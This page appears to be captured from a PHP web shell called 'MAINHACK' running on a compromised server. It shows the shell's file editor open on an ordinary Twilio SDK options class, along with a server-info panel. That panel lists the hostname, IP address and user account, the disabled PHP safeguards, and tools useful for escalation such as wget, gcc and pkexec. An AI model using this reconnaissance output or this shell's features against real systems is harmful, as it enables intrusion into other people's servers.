[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DomainOptions.php
<?php /** * This code was generated by * \ / _ _ _| _ _ * | (_)\/(_)(_|\/| |(/_ v1.0.0 * / / */ namespace Twilio\Rest\Api\V2010\Account\Sip; use Twilio\Options; use Twilio\Values; abstract class DomainOptions { /** * @param string $friendlyName A user-specified, human-readable name for the * trigger. * @param string $authType The types of authentication mapped to the domain * @param string $voiceUrl URL Twilio will request when receiving a call * @param string $voiceMethod HTTP method to use with voice_url * @param string $voiceFallbackUrl URL Twilio will request if an error occurs * in executing TwiML * @param string $voiceFallbackMethod HTTP method used with voice_fallback_url * @param string $voiceStatusCallbackUrl URL that Twilio will request with * status updates * @param string $voiceStatusCallbackMethod The voice_status_callback_method * @return CreateDomainOptions Options builder */ public static function create($friendlyName = Values::NONE, $authType = Values::NONE, $voiceUrl = Values::NONE, $voiceMethod = Values::NONE, $voiceFallbackUrl = Values::NONE, $voiceFallbackMethod = Values::NONE, $voiceStatusCallbackUrl = Values::NONE, $voiceStatusCallbackMethod = Values::NONE) { return new CreateDomainOptions($friendlyName, $authType, $voiceUrl, $voiceMethod, $voiceFallbackUrl, $voiceFallbackMethod, $voiceStatusCallbackUrl, $voiceStatusCallbackMethod); } /** * @param string $authType The auth_type * @param string $friendlyName A user-specified, human-readable name for the * trigger. * @param string $voiceFallbackMethod The voice_fallback_method * @param string $voiceFallbackUrl The voice_fallback_url * @param string $voiceMethod HTTP method to use with voice_url * @param string $voiceStatusCallbackMethod The voice_status_callback_method * @param string $voiceStatusCallbackUrl The voice_status_callback_url * @param string $voiceUrl The voice_url * @return UpdateDomainOptions Options builder */ public static function update($authType = Values::NONE, $friendlyName = Values::NONE, $voiceFallbackMethod = Values::NONE, $voiceFallbackUrl = Values::NONE, $voiceMethod = Values::NONE, $voiceStatusCallbackMethod = Values::NONE, $voiceStatusCallbackUrl = Values::NONE, $voiceUrl = Values::NONE) { return new UpdateDomainOptions($authType, $friendlyName, $voiceFallbackMethod, $voiceFallbackUrl, $voiceMethod, $voiceStatusCallbackMethod, $voiceStatusCallbackUrl, $voiceUrl); } } class CreateDomainOptions extends Options { /** * @param string $friendlyName A user-specified, human-readable name for the * trigger. * @param string $authType The types of authentication mapped to the domain * @param string $voiceUrl URL Twilio will request when receiving a call * @param string $voiceMethod HTTP method to use with voice_url * @param string $voiceFallbackUrl URL Twilio will request if an error occurs * in executing TwiML * @param string $voiceFallbackMethod HTTP method used with voice_fallback_url * @param string $voiceStatusCallbackUrl URL that Twilio will request with * status updates * @param string $voiceStatusCallbackMethod The voice_status_callback_method */ public function __construct($friendlyName = Values::NONE, $authType = Values::NONE, $voiceUrl = Values::NONE, $voiceMethod = Values::NONE, $voiceFallbackUrl = Values::NONE, $voiceFallbackMethod = Values::NONE, $voiceStatusCallbackUrl = Values::NONE, $voiceStatusCallbackMethod = Values::NONE) { $this->options['friendlyName'] = $friendlyName; $this->options['authType'] = $authType; $this->options['voiceUrl'] = $voiceUrl; $this->options['voiceMethod'] = $voiceMethod; $this->options['voiceFallbackUrl'] = $voiceFallbackUrl; $this->options['voiceFallbackMethod'] = $voiceFallbackMethod; $this->options['voiceStatusCallbackUrl'] = $voiceStatusCallbackUrl; $this->options['voiceStatusCallbackMethod'] = $voiceStatusCallbackMethod; } /** * A user-specified, human-readable name for the trigger. * * @param string $friendlyName A user-specified, human-readable name for the * trigger. * @return $this Fluent Builder */ public function setFriendlyName($friendlyName) { $this->options['friendlyName'] = $friendlyName; return $this; } /** * The types of authentication you have mapped to your domain * * @param string $authType The types of authentication mapped to the domain * @return $this Fluent Builder */ public function setAuthType($authType) { $this->options['authType'] = $authType; return $this; } /** * The URL Twilio will request when this domain receives a call * * @param string $voiceUrl URL Twilio will request when receiving a call * @return $this Fluent Builder */ public function setVoiceUrl($voiceUrl) { $this->options['voiceUrl'] = $voiceUrl; return $this; } /** * The HTTP method to use with the voice_url * * @param string $voiceMethod HTTP method to use with voice_url * @return $this Fluent Builder */ public function setVoiceMethod($voiceMethod) { $this->options['voiceMethod'] = $voiceMethod; return $this; } /** * The URL that Twilio will use if an error occurs retrieving or executing the TwiML requested by VoiceUrl * * @param string $voiceFallbackUrl URL Twilio will request if an error occurs * in executing TwiML * @return $this Fluent Builder */ public function setVoiceFallbackUrl($voiceFallbackUrl) { $this->options['voiceFallbackUrl'] = $voiceFallbackUrl; return $this; } /** * The HTTP method Twilio will use when requesting the VoiceFallbackUrl * * @param string $voiceFallbackMethod HTTP method used with voice_fallback_url * @return $this Fluent Builder */ public function setVoiceFallbackMethod($voiceFallbackMethod) { $this->options['voiceFallbackMethod'] = $voiceFallbackMethod; return $this; } /** * The URL that Twilio will request to pass status parameters * * @param string $voiceStatusCallbackUrl URL that Twilio will request with * status updates * @return $this Fluent Builder */ public function setVoiceStatusCallbackUrl($voiceStatusCallbackUrl) { $this->options['voiceStatusCallbackUrl'] = $voiceStatusCallbackUrl; return $this; } /** * The voice_status_callback_method * * @param string $voiceStatusCallbackMethod The voice_status_callback_method * @return $this Fluent Builder */ public function setVoiceStatusCallbackMethod($voiceStatusCallbackMethod) { $this->options['voiceStatusCallbackMethod'] = $voiceStatusCallbackMethod; return $this; } /** * Provide a friendly representation * * @return string Machine friendly representation */ public function __toString() { $options = array(); foreach ($this->options as $key => $value) { if ($value != Values::NONE) { $options[] = "$key=$value"; } } return '[Twilio.Api.V2010.CreateDomainOptions ' . implode(' ', $options) . ']'; } } class UpdateDomainOptions extends Options { /** * @param string $authType The auth_type * @param string $friendlyName A user-specified, human-readable name for the * trigger. * @param string $voiceFallbackMethod The voice_fallback_method * @param string $voiceFallbackUrl The voice_fallback_url * @param string $voiceMethod HTTP method to use with voice_url * @param string $voiceStatusCallbackMethod The voice_status_callback_method * @param string $voiceStatusCallbackUrl The voice_status_callback_url * @param string $voiceUrl The voice_url */ public function __construct($authType = Values::NONE, $friendlyName = Values::NONE, $voiceFallbackMethod = Values::NONE, $voiceFallbackUrl = Values::NONE, $voiceMethod = Values::NONE, $voiceStatusCallbackMethod = Values::NONE, $voiceStatusCallbackUrl = Values::NONE, $voiceUrl = Values::NONE) { $this->options['authType'] = $authType; $this->options['friendlyName'] = $friendlyName; $this->options['voiceFallbackMethod'] = $voiceFallbackMethod; $this->options['voiceFallbackUrl'] = $voiceFallbackUrl; $this->options['voiceMethod'] = $voiceMethod; $this->options['voiceStatusCallbackMethod'] = $voiceStatusCallbackMethod; $this->options['voiceStatusCallbackUrl'] = $voiceStatusCallbackUrl; $this->options['voiceUrl'] = $voiceUrl; } /** * The auth_type * * @param string $authType The auth_type * @return $this Fluent Builder */ public function setAuthType($authType) { $this->options['authType'] = $authType; return $this; } /** * A user-specified, human-readable name for the trigger. * * @param string $friendlyName A user-specified, human-readable name for the * trigger. * @return $this Fluent Builder */ public function setFriendlyName($friendlyName) { $this->options['friendlyName'] = $friendlyName; return $this; } /** * The voice_fallback_method * * @param string $voiceFallbackMethod The voice_fallback_method * @return $this Fluent Builder */ public function setVoiceFallbackMethod($voiceFallbackMethod) { $this->options['voiceFallbackMethod'] = $voiceFallbackMethod; return $this; } /** * The voice_fallback_url * * @param string $voiceFallbackUrl The voice_fallback_url * @return $this Fluent Builder */ public function setVoiceFallbackUrl($voiceFallbackUrl) { $this->options['voiceFallbackUrl'] = $voiceFallbackUrl; return $this; } /** * The HTTP method to use with the voice_url * * @param string $voiceMethod HTTP method to use with voice_url * @return $this Fluent Builder */ public function setVoiceMethod($voiceMethod) { $this->options['voiceMethod'] = $voiceMethod; return $this; } /** * The voice_status_callback_method * * @param string $voiceStatusCallbackMethod The voice_status_callback_method * @return $this Fluent Builder */ public function setVoiceStatusCallbackMethod($voiceStatusCallbackMethod) { $this->options['voiceStatusCallbackMethod'] = $voiceStatusCallbackMethod; return $this; } /** * The voice_status_callback_url * * @param string $voiceStatusCallbackUrl The voice_status_callback_url * @return $this Fluent Builder */ public function setVoiceStatusCallbackUrl($voiceStatusCallbackUrl) { $this->options['voiceStatusCallbackUrl'] = $voiceStatusCallbackUrl; return $this; } /** * The voice_url * * @param string $voiceUrl The voice_url * @return $this Fluent Builder */ public function setVoiceUrl($voiceUrl) { $this->options['voiceUrl'] = $voiceUrl; return $this; } /** * Provide a friendly representation * * @return string Machine friendly representation */ public function __toString() { $options = array(); foreach ($this->options as $key => $value) { if ($value != Values::NONE) { $options[] = "$key=$value"; } } return '[Twilio.Api.V2010.UpdateDomainOptions ' . implode(' ', $options) . ']'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002